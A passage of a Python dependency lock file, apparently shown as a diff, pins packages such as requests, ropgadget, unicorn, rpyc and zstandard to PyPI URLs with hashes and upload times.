"https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "requests" +version = "2.34.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" }, +] + +[[package]] +name = "ropgadget" +version = "7.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "capstone" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/88/9a/d5290486bb97f2bc9f7801e90659c0b26707d7997d8ff851846efc869db7/ropgadget-7.7.tar.gz", hash = "sha256:8aa7db0ce48ae6b09707fecc40bdd88ee5f76afd64249885ef3c9feab5bd9cfb", size = 26077, upload-time = "2025-10-15T10:34:15.087Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/f4/5e0dbb23af4aa9b7936dfe8cb8509e2cbeec18d38ee963ce513b16d49865/ropgadget-7.7-py3-none-any.whl", hash = "sha256:f54c3d5d0be20a1c2b70fc1e9455304a2f8d9c8e63b9f37a1bac13ab03e254a7", size = 32596, upload-time = "2025-10-15T10:34:13.625Z" }, +] + +[[package]] +name = "rpyc" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "plumbum" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "sortedcontainers" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "unicorn" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" }, + { url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" }, + { url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" }, + { url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" }, + { url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" }, + { url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" }, + { url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" }, + { url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" }, + { url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" }, + { url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" }, + { url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" }, + { url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" }, + { url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" }, + { url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" }, + { url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" }, + { url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" }, + { url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" }, +] + +[[package]] +name = "unix-ar" +version = "0.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = 